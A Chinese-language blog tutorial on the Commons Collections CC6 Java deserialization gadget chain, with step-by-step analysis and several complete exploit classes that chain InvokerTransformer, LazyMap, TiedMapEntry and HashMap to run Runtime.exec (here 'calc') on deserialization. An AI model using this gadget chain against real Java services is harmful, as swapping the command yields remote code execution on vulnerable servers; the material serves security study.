Java安全-CC6链

Java安全-CC6链

CC6 链可以不受 jdk 版本制约,适用范围非常广,可以说是最好用的链

CC6 链的前半条链与 CC1 正版链子是一样的,也就是到 LazyMap 链

环境搭建

  • Jdk 8u65
  • Comoons-Collections 3.2.1

CC6 链分析

找链子

  • 因为前半段链子,LazyMap 类到 InvokerTransformer 类是一样的,我们直接到 LazyMap 下。

我们还是找其他调用 get() 方法的地方

这里我们找到了TiedMapEntry 类中的 getValue() 方法

新建一个TiedMapEntry的实例并调用getValue方法,前面链子的内容是与CC1相同的,无需改动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC6EXP {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
//危险参数构造
//危险方法,核心危险参数构造

Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(Runtime.class),
// 第一步:通过反射获取Runtime类的getRuntime方法
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第二步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第三步:在Runtime实例上调用exec方法执行计算器
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};

// 将三个Transformer组合成链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//生成LazyMap实例
HashMap map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

//新建TiedMapEntry实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);
tiedMapEntry.getValue();
}
}

到这里是可以正常弹出计算器的

继续跟进,可以找到同一个类中hashcode方法调用了getValue方法

入口类

这里是可以参考URLDNS这条链的

回顾URLDNS的利用链

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.put()
HashMap.hash()
URL.hashCode()

其实HashMap入口类这里是可以通用的

在 Java 反序列化当中,找到 hashCode() 之后的链子用的基本都是这一条。

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC6EXP {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
//危险参数构造
//危险方法,核心危险参数构造

Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(Runtime.class),
// 第一步:通过反射获取Runtime类的getRuntime方法
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第二步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第三步:在Runtime实例上调用exec方法执行计算器
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};

// 将三个Transformer组合成链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//生成LazyMap实例
HashMap map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

//新建TiedMapEntry实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);
tiedMapEntry.getValue();

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,2);

// 触发序列化 + 反序列化
serialize(hashMap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

这里在 HashMap<Object, Object> expMap = new HashMap<>(); 这里打断点,会发现直接 tiedMapEntry.getValue();就弹计算器了,不要着急,这里是一个 IDEA 的小坑

问题解决

问题一: IDEA 的小坑

我们在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "zac");打断点可以看到,在走入构造方法时,就会弹出计算器了

原因

这是因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。

解决

在 IDEA 的偏好设置当中如图修改即可

问题二:序列化的时候,就能够弹出计算器

原因:在执行put方法时,就会调用hash方法->hashCode,走原本链子的流程最后弹出计算器

这样的话,我们就少了此链的入口点,readObject方法,这条链不完整

与 URLDNS 中的不同,有些链子可以通过设置参数修改,有些则不行。在我们 CC6 的链子当中,通过修改这一句语句 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);,可以达到我们需要的效果。

我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC6EXP {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
//危险参数构造
//危险方法,核心危险参数构造

Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(Runtime.class),
// 第一步:通过反射获取Runtime类的getRuntime方法
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第二步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第三步:在Runtime实例上调用exec方法执行计算器
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};

// 将三个Transformer组合成链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//生成LazyMap实例
HashMap map = new HashMap();
//先传入一个没有用的transformer
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

//新建TiedMapEntry实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "zac");
tiedMapEntry.getValue();

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"sds");

//反射修改lazyMap的参数factory的值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);


// 触发序列化 + 反序列化
serialize(hashMap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

再次执行这个EXP发现,走到get方法后,并没有走入循环

注意,问题还是LazyMap的get方法

序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

所以,我们需要在hashMap.put之后,把lazymap的ley删除掉

1
lazymap.remove("2");

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC6EXP {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
//危险参数构造
//危险方法,核心危险参数构造

Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(Runtime.class),
// 第一步:通过反射获取Runtime类的getRuntime方法
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第二步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第三步:在Runtime实例上调用exec方法执行计算器
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};

// 将三个Transformer组合成链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//生成LazyMap实例
HashMap map = new HashMap();
//先传入一个没有用的transformer
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

//新建TiedMapEntry实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
tiedMapEntry.getValue();

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"bbb");

lazyMap.remove("aaa");

//反射修改lazyMap的参数factory的值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);


// 触发序列化 + 反序列化
serialize(hashMap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

利用链分析

1
2
3
4
5
6
7
8
9
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()


Java安全-CC6链
http://huang-d1.github.io/2025/09/05/Java安全-CC6链/
作者
huangdi
发布于
2025年9月5日
许可协议